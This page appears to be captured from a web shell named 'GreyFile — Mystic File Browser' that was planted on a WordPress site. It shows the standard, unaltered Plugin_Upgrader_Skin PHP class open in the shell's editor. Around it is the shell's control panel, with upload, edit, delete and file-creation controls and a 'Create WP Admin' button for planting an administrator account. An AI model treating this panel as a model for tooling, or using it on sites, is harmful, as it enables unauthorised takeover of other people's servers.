?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
www
/
demo3
/
wp-admin
/
includes
/
?? Create WP Admin
??
Go up: /home/webdevt/www/demo3/wp-admin
?? Editing: class-plugin-upgrader-skin.php
<?php /** * Upgrader API: Plugin_Upgrader_Skin class * * @package WordPress * @subpackage Upgrader * @since 4.6.0 */ /** * Plugin Upgrader Skin for WordPress Plugin Upgrades. * * @since 2.8.0 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php. * * @see WP_Upgrader_Skin */ class Plugin_Upgrader_Skin extends WP_Upgrader_Skin { /** * Holds the plugin slug in the Plugin Directory. * * @since 2.8.0 * * @var string */ public $plugin = ''; /** * Whether the plugin is active. * * @since 2.8.0 * * @var bool */ public $plugin_active = false; /** * Whether the plugin is active for the entire network. * * @since 2.8.0 * * @var bool */ public $plugin_network_active = false; /** * Constructor. * * Sets up the plugin upgrader skin. * * @since 2.8.0 * * @param array $args Optional. The plugin upgrader skin arguments to * override default options. Default empty array. */ public function __construct( $args = array() ) { $defaults = array( 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => __( 'Update Plugin' ), ); $args = wp_parse_args( $args, $defaults ); $this->plugin = $args['plugin']; $this->plugin_active = is_plugin_active( $this->plugin ); $this->plugin_network_active = is_plugin_active_for_network( $this->plugin ); parent::__construct( $args ); } /** * Performs an action following a single plugin update. * * @since 2.8.0 */ public function after() { $this->plugin = $this->upgrader->plugin_info(); if ( ! empty( $this->plugin ) && ! is_wp_error( $this->result ) && $this->plugin_active ) { // Currently used only when JS is off for a single plugin update? printf( '<iframe title="%s" style="border:0;overflow:hidden" width="100%%" height="170" src="%s"></iframe>', esc_attr__( 'Update progress' ), wp_nonce_url( 'update.php?action=activate-plugin&networkwide=' . $this->plugin_network_active . '&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin ) ); } $this->decrement_update_count( 'plugin' ); $update_actions = array( 'activate_plugin' => sprintf( '<a href="%s" target="_parent">%s</a>', wp_nonce_url( 'plugins.php?action=activate&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin ), __( 'Activate Plugin' ) ), 'plugins_page' => sprintf( '<a href="%s" target="_parent">%s</a>', self_admin_url( 'plugins.php' ), __( 'Go to Plugins page' ) ), ); if ( $this->plugin_active || ! $this->result || is_wp_error( $this->result ) || ! current_user_can( 'activate_plugin', $this->plugin ) ) { unset( $update_actions['activate_plugin'] ); } /** * Filters the list of action links available following a single plugin update. * * @since 2.7.0 * * @param string[] $update_actions Array of plugin action links. * @param string $plugin Path to the plugin file relative to the plugins directory. */ $update_actions = apply_filters( 'update_plugin_complete_actions', $update_actions, $this->plugin ); if ( ! empty( $update_actions ) ) { $this->feedback( implode( ' | ', (array) $update_actions ) ); } } }
Save
Upload
??
Create Folder
??
Create File
??
admin-filters.php
|
?? Edit
|
??? Delete
??
admin.php
|
?? Edit
|
??? Delete
??
ajax-actions.php
|
?? Edit
|
??? Delete
??
bookmark.php
|
?? Edit
|
??? Delete
??
class-automatic-upgrader-skin.php
|
?? Edit
|
??? Delete
??
class-bulk-plugin-upgrader-skin.php
|
?? Edit
|
??? Delete
??
class-bulk-theme-upgrader-skin.php
|
?? Edit
|
??? Delete
??
class-bulk-upgrader-skin.php
|
?? Edit
|
??? Delete
??
class-core-upgrader.php
|
?? Edit
|
??? Delete
??
class-custom-background.php
|
?? Edit
|
??? Delete
??
class-custom-image-header.php
|
?? Edit
|
??? Delete
??
class-file-upload-upgrader.php
|
?? Edit
|
??? Delete
??
class-ftp-pure.php
|
?? Edit
|
??? Delete
??
class-ftp-sockets.php
|
?? Edit
|
??? Delete
??
class-ftp.php
|
?? Edit
|
??? Delete
??
class-language-pack-upgrader-skin.php
|
?? Edit
|
??? Delete
??
class-language-pack-upgrader.php
|
?? Edit
|
??? Delete
??
class-pclzip.php
|
?? Edit
|
??? Delete
??
class-plugin-installer-skin.php
|
?? Edit
|
??? Delete
??
class-plugin-upgrader-skin.php
|
?? Edit
|
??? Delete
??
class-plugin-upgrader.php
|
?? Edit
|
??? Delete
??
class-theme-installer-skin.php
|
?? Edit
|
??? Delete
??
class-theme-upgrader-skin.php
|
?? Edit
|
??? Delete
??
class-theme-upgrader.php
|
?? Edit
|
??? Delete
??
class-walker-category-checklist.php
|
?? Edit
|
??? Delete
??
class-walker-nav-menu-checklist.php
|
?? Edit
|
??? Delete
??
class-walker-nav-menu-edit.php
|
?? Edit
|
??? Delete
??
class-wp-ajax-upgrader-skin.php
|
?? Edit
|
??? Delete
??
class-wp-application-passwords-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-automatic-updater.php
|
?? Edit
|
??? Delete
??
class-wp-comments-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-community-events.php
|
?? Edit
|
??? Delete
??
class-wp-debug-data.php
|
?? Edit
|
??? Delete
??
class-wp-filesystem-base.php
|
?? Edit
|
??? Delete
??
class-wp-filesystem-direct.php
|
?? Edit
|
??? Delete
??
class-wp-filesystem-ftpext.php
|
?? Edit
|
??? Delete
??
class-wp-filesystem-ftpsockets.php
|
?? Edit
|
??? Delete
??
class-wp-filesystem-ssh2.php
|
?? Edit
|
??? Delete
??
class-wp-importer.php
|
?? Edit
|
??? Delete
??
class-wp-internal-pointers.php
|
?? Edit
|
??? Delete
??
class-wp-links-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-list-table-compat.php
|
?? Edit
|
??? Delete
??
class-wp-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-media-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-ms-sites-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-ms-themes-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-ms-users-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-plugin-install-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-plugins-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-post-comments-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-posts-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-privacy-data-export-requests-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-privacy-data-removal-requests-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-privacy-policy-content.php
|
?? Edit
|
??? Delete
??
class-wp-privacy-requests-table.php
|
?? Edit
|
??? Delete
??
class-wp-screen.php
|
?? Edit
|
??? Delete
??
class-wp-site-health-auto-updates.php
|
?? Edit
|
??? Delete
??
class-wp-site-health.php
|
?? Edit
|
??? Delete
??
class-wp-site-icon.php
|
?? Edit
|
??? Delete
??
class-wp-terms-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-theme-install-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-themes-list-table.php
|
?? Edit
|
??? Delete
??
class-wp-upgrader-skin.php
|
?? Edit
|
??? Delete
??
class-wp-upgrader-skins.php
|
?? Edit
|
??? Delete
??
class-wp-upgrader.php
|
?? Edit
|
??? Delete
??
class-wp-users-list-table.php
|
?? Edit
|
??? Delete
??
comment.php
|
?? Edit
|
??? Delete
??
continents-cities.php
|
?? Edit
|
??? Delete
??
credits.php
|
?? Edit
|
??? Delete
??
dashboard.php
|
?? Edit
|
??? Delete
??
deprecated.php
|
?? Edit
|
??? Delete
??
edit-tag-messages.php
|
?? Edit
|
??? Delete
??
export.php
|
?? Edit
|
??? Delete
??
file.php
|
?? Edit
|
??? Delete
??
image-edit.php
|
?? Edit
|
??? Delete
??
image.php
|
?? Edit
|
??? Delete
??
import.php
|
?? Edit
|
??? Delete
??
list-table.php
|
?? Edit
|
??? Delete
??
media.php
|
?? Edit
|
??? Delete
??
menu.php
|
?? Edit
|
??? Delete
??
meta-boxes.php
|
?? Edit
|
??? Delete
??
misc.php
|
?? Edit
|
??? Delete
??
ms-admin-filters.php
|
?? Edit
|
??? Delete
??
ms-deprecated.php
|
?? Edit
|
??? Delete
??
ms.php
|
?? Edit
|
??? Delete
??
nav-menu.php
|
?? Edit
|
??? Delete
??
network.php
|
?? Edit
|
??? Delete
??
noop.php
|
?? Edit
|
??? Delete
??
options.php
|
?? Edit
|
??? Delete
??
plugin-install.php
|
?? Edit
|
??? Delete
??
plugin.php
|
?? Edit
|
??? Delete
??
post.php
|
?? Edit
|
??? Delete
??
privacy-tools.php
|
?? Edit
|
??? Delete
??
revision.php
|
?? Edit
|
??? Delete
??
schema.php
|
?? Edit
|
??? Delete
??
screen.php
|
?? Edit
|
??? Delete
??
taxonomy.php
|
?? Edit
|
??? Delete
??
template.php
|
?? Edit
|
??? Delete
??
theme-install.php
|
?? Edit
|
??? Delete
??
theme.php
|
?? Edit
|
??? Delete
??
translation-install.php
|
?? Edit
|
??? Delete
??
update-core.php
|
?? Edit
|
??? Delete
??
update.php
|
?? Edit
|
??? Delete
??
upgrade.php
|
?? Edit
|
??? Delete
??
user.php
|
?? Edit
|
??? Delete
??
widgets.php
|
?? Edit
|
??? Delete